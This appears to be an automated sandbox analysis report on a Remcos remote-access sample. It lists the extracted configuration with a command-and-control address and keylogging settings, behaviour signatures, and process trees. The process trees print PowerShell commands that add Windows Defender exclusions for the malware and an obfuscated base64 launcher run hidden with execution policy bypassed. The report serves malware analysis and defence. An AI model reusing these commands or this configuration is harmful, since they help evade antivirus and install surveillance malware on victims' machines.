Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
10/09/2026, 10:36
General
- Target f7b25aaca2e51acd2360cd1ef3e5392d225f082b8412417b0a6507363799dbb8.exe
- Size 856KB
- Sample260910-mndk3sbj3x
- SHA256 f7b25aaca2e51acd2360cd1ef3e5392d225f082b8412417b0a6507363799dbb8
Malware Config
Extracted
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remcos
-
1.7 Pro
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Special
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87.120.244.219:13131
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audio_folder
audio
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audio_path
%AppData%
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audio_record_time
5
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connect_delay
0
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connect_interval
5
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copy_file
remcos.exe
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copy_folder
remcos
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delete_file
false
-
hide_file
false
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hide_keylog_file
false
-
install_flag
false
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install_path
%AppData%
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
vc
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keylog_path
%AppData%
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mouse_option
false
-
mutex
victoni_yotppiuatb
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screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screens
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screenshot_path
%AppData%
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screenshot_time
1
-
startup_value
remcos
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 12 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 16 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\f7b25aaca2e51acd2360cd1ef3e5392d225f082b8412417b0a6507363799dbb8.exe"C:\Users\Admin\AppData\Local\Temp\f7b25aaca2e51acd2360cd1ef3e5392d225f082b8412417b0a6507363799dbb8.exe"1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\f7b25aaca2e51acd2360cd1ef3e5392d225f082b8412417b0a6507363799dbb8.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Users\Admin\AppData\Local\Temp\f7b25aaca2e51acd2360cd1ef3e5392d225f082b8412417b0a6507363799dbb8.exe"C:\Users\Admin\AppData\Local\Temp\f7b25aaca2e51acd2360cd1ef3e5392d225f082b8412417b0a6507363799dbb8.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$01b4rh=2303;$xdkvga=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$txoetc=[System.Environment]::TickCount;$fnrone=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXEpzb1pHdGYuZXhl')));$txoetc=[System.Environment]::TickCount;& $xdkvga -FilePath $fnrone"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\JsoZGtf.exe"C:\Users\Admin\AppData\Roaming\JsoZGtf.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\JsoZGtf.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Users\Admin\AppData\Roaming\JsoZGtf.exe"C:\Users\Admin\AppData\Roaming\JsoZGtf.exe"3⤵
- Executes dropped EXE
-
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C:\Users\Admin\AppData\Roaming\JsoZGtf.exe"C:\Users\Admin\AppData\Roaming\JsoZGtf.exe"3⤵
- Executes dropped EXE
-
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_3o25d1j4.mvc.ps1
JsoZGtf.exe
memory/2352-8-0x0000000007A30000-0x0000000007AE0000-memory.dmp
memory/2352-2-0x00000000058C0000-0x0000000005952000-memory.dmp
memory/2352-6-0x00000000057F0000-0x0000000005800000-memory.dmp
memory/2352-7-0x0000000007990000-0x0000000007A2C000-memory.dmp
memory/2352-4-0x0000000005850000-0x000000000585A000-memory.dmp
memory/2352-1-0x0000000005DD0000-0x0000000006374000-memory.dmp
memory/2352-3-0x00000000057F0000-0x0000000005800000-memory.dmp
memory/2352-5-0x0000000005D80000-0x0000000005DA0000-memory.dmp
memory/2352-0-0x0000000000D70000-0x0000000000E4C000-memory.dmp
memory/2848-99-0x0000000007420000-0x0000000007431000-memory.dmp
memory/2848-89-0x0000000006050000-0x000000000609C000-memory.dmp
memory/2848-98-0x0000000007150000-0x00000000071F3000-memory.dmp
memory/2848-100-0x0000000007450000-0x0000000007464000-memory.dmp
memory/2848-90-0x0000000070C40000-0x0000000070C8C000-memory.dmp
memory/2848-80-0x00000000057C0000-0x0000000005B14000-memory.dmp
memory/3972-24-0x00000000053F0000-0x0000000005412000-memory.dmp
memory/3972-60-0x0000000007E40000-0x00000000084BA000-memory.dmp
memory/3972-34-0x0000000005E60000-0x00000000061B4000-memory.dmp
memory/3972-35-0x00000000064E0000-0x00000000064FE000-memory.dmp
memory/3972-36-0x0000000006510000-0x000000000655C000-memory.dmp
memory/3972-26-0x0000000005600000-0x0000000005666000-memory.dmp
memory/3972-23-0x00000000056F0000-0x0000000005D18000-memory.dmp
memory/3972-49-0x0000000006AA0000-0x0000000006AD2000-memory.dmp
memory/3972-50-0x0000000071810000-0x000000007185C000-memory.dmp
memory/3972-58-0x0000000007490000-0x00000000074AE000-memory.dmp
memory/3972-59-0x00000000074F0000-0x0000000007593000-memory.dmp
memory/3972-25-0x0000000005490000-0x00000000054F6000-memory.dmp
memory/3972-61-0x0000000007800000-0x000000000781A000-memory.dmp
memory/3972-62-0x0000000007870000-0x000000000787A000-memory.dmp
memory/3972-63-0x0000000007A80000-0x0000000007B16000-memory.dmp
memory/3972-64-0x0000000007A00000-0x0000000007A11000-memory.dmp
memory/3972-65-0x0000000007A30000-0x0000000007A3E000-memory.dmp
memory/3972-66-0x0000000007A40000-0x0000000007A54000-memory.dmp
memory/3972-67-0x0000000007B40000-0x0000000007B5A000-memory.dmp
memory/3972-68-0x0000000007B20000-0x0000000007B28000-memory.dmp
memory/3972-21-0x0000000002B80000-0x0000000002B90000-memory.dmp
memory/3972-16-0x0000000002B80000-0x0000000002B90000-memory.dmp
memory/3972-15-0x0000000002BF0000-0x0000000002C26000-memory.dmp
memory/4192-14-0x0000000000400000-0x0000000000417000-memory.dmp
memory/4192-72-0x0000000000400000-0x0000000000417000-memory.dmp
memory/4192-17-0x0000000000400000-0x0000000000417000-memory.dmp
memory/4192-22-0x0000000000400000-0x0000000000417000-memory.dmp
memory/4192-12-0x0000000000400000-0x0000000000417000-memory.dmp
memory/5028-44-0x00000221EC390000-0x00000221EC3B2000-memory.dmp